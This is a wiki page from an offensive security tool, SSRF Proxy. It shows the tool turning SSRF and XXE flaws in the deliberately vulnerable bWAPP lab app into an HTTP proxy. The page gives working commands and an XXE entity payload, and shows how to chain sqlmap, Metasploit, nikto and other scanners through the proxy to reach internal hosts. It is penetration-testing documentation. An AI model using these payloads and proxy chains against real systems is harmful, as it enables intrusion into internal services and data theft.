Skip to content

Example Usage

Jump to bottom
Brendan Coles edited this page May 2, 2016 · 18 revisions

The following examples make use of bWAPP bee-box as an example application vulnerable to SSRF.

Configuration

bWAPP is deliberately vulnerable to SSRF. The following will cause the bWAPP application to request http://example.local/ via SSRF:

curl "http://bwapp.local/bWAPP/rlfi.php?ip=&language=http://example.local/"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"

To use this SSRF with SSRF Proxy the URL and cookie must be supplied. The xxURLxx placeholder must also be specified. For example:

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"

The xxURLxx placeholder exists within the query string. As such, all client requests must be URL encoded. This can be achieved by specifying the urlencode rule with --rules.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode

This configuration is sufficient to use the SSRF as a proxy, however effective usage of the request and response modification options will yield more accurate results.

Debugging

The verbose -v and debug -d options may be useful while configuring SSRF Proxy.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode
  -v -d

Using an intercepting HTTP proxy such as Burp with --proxy=PROXY :

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode
  -v -d
  --proxy "http://127.0.0.1:8080"

Response Modification

The relevant response can be extracted by specifying a regex to match with the --match option:

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode
  --match "</form>\s*<br />\s*(.+)\s*</div>\s*<div id=\"side\">"

bee-box has PHP errors enabled by default. The --guess-status option checks for common application error messages in the response to infer the appropriate HTTP response status code and message.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode
  --match "</form>\s*<br />\s*(.+)\s*</div>\s*<div id=\"side\">"
  --guess-status

The --guess-mime option attempts to guess the response content type and set the appropriate Content-Type header. The content type is determined by the file extension of the request URI.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --rules urlencode
  --match "</form>\s*<br />\s*(.+)\s*</div>\s*<div id=\"side\">"
  --guess-mime

The --strip=HEADERS option removes the specified HTTP headers from the response. This can be useful to remove inappropriate or undesirable headers such as content-disposition, set-cookie and transfer-encoding.

Request Modification

Several options exist to modify client HTTP requests.

The --forward-cookies option can be used when the SSRF allows forwarding cookies. This option merges all cookies from the client request with the cookie specified in --cookie (if any).

The --body-to-uri option moves the HTTP request body to the query string. This can be useful when the client requests are directed at a third-party application which allows parameters in either the query string or the request body. In this way it is possible to communicate with the target application.

The --auth-to-uri option checks for HTTP Basic credentials in the Authorization client request header and adds them to the request. This can be useful when the SSRF allows sending credentials in the URI, such as http://[user:pass]@host/.

XXE

bWAPP is deliberately vulnerable to XXE which permits blind SSRF. The following will cause the bWAPP application to request http://example.local/ via SSRF:

curl "http://bwapp.local/bWAPP/xxe-2.php"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  -X POST
  --data '<!DOCTYPE xxe [ <!ENTITY url SYSTEM "http://example.local/"> ]><reset><login>&url;</login></reset>'

To use this XXE with SSRF Proxy the URL, cookie and POST data must be supplied. The xxURLxx placeholder must also be specified. For example:

ssrf-proxy -u "http://bwapp.local/bWAPP/xxe-2.php"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --method POST
  --post-data '<!DOCTYPE xxe [ <!ENTITY url SYSTEM "xxURLxx"> ]><reset><login>&url;</login></reset>'

The xxURLxx placeholder exists within the request body. As such, all client requests must be URL encoded. This can be achieved by specifying the urlencode rule with --rules.

ssrf-proxy -u "http://bwapp.local/bWAPP/xxe-2.php"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --method POST
  --post-data '<!DOCTYPE xxe [ <!ENTITY url SYSTEM "xxURLxx"> ]><reset><login>&url;</login></reset>'
  --rules urlencode

bee-box has PHP errors enabled by default. The --guess-status option checks for common application error messages in the response to infer the appropriate HTTP response status code and message.

ssrf-proxy -u "http://bwapp.local/bWAPP/xxe-2.php"
  --cookie "PHPSESSID=<valid cookie>; security_level=0"
  --method POST
  --post-data '<!DOCTYPE xxe [ <!ENTITY url SYSTEM "xxURLxx"> ]><reset><login>&url;</login></reset>'
  --rules urlencode
  --guess-status

Supported Tools

The tools in this section are known to work with SSRF Proxy.

SSRF Proxy supports HTTP CONNECT tunneling. SSL tunneling is not supported.

For best results, ensure SSRF Proxy is configured with the following options, where possible:

  • --match=REGEX
  • --guess-status
  • --guess-mine
  • --forward-cookies
  • --body-to-uri
  • --auth-to-uri

curl

$ curl -isk -x http://127.0.0.1:8081/ http://127.0.0.1/

Note the trailing / slash is required.

proxychains

Set SSRF Proxy as the proxy in proxychains.conf :

[ProxyList]
http 127.0.0.1 8081

Also disable DNS lookups in proxychains.conf :

# Proxy DNS requests - no leak for DNS data
#proxy_dns

Preface commands with proxychains :

$ proxychains curl -isk http://127.0.0.1/

Web Browser

Set the web browser proxy to SSRF Proxy as a HTTP proxy.

Note that rendering of assets within a browser (images, stylesheets, etc) will fail unless the --guess-mime option is supplied. Additionally, an accurate regex must be supplied to the --match option.

Additionally, stripping unwanted headers such as content-disposition is often desirable - --strip "content-disposition"

wget

$ export http_proxy=http://127.0.0.1:8081/
$ wget --mirror --no-check-certificate --convert-links --adjust-extension --page-requisites --no-parent http://127.0.0.1/bWAPP/

sqlmap

sqlmap can be used to exploit SQL injection vulnerabilities through SSRF Proxy.

$ sqlmap -u "http://sqli.example/query.php?query=test" --proxy "http://127.0.0.1:8081" --dbms mysql -p query --technique BT --banner

Using --hex and --technique BT (blind time-based) may provide better results.

Note that tweaking the --timeout option (default: 10 seconds) for SSRF Proxy may be necessary if a large number of timeouts are encountered.

Metasploit

> use auxiliary/scanner/http/title 
> set proxies http:127.0.0.1:8081 
> set rhosts 127.0.0.1
> set targeturi /phpmyadmin 
> run

Arachni

$ arachni --http-proxy 127.0.0.1:8081 "http://127.0.0.2/"

Note that Arachni cannot scan 127.0.0.1; instead 127.0.0.2 is used.

nikto

Set SSRF Proxy as the proxy in nikto.conf :

# Proxy settings -- still must be enabled by -useproxy
PROXYHOST=127.0.0.1
PROXYPORT=8081

Run nikto :

$ nikto.pl -host 127.0.0.1 -useproxy

Note that nikto may identify a large number of false positives if the SSRF server has PHP errors enabled.

WhatWeb

WhatWeb can be used to fingerprint web servers and applications.

$ whatweb --proxy 127.0.0.1:8081 http://127.0.0.1/

Clone this wiki locally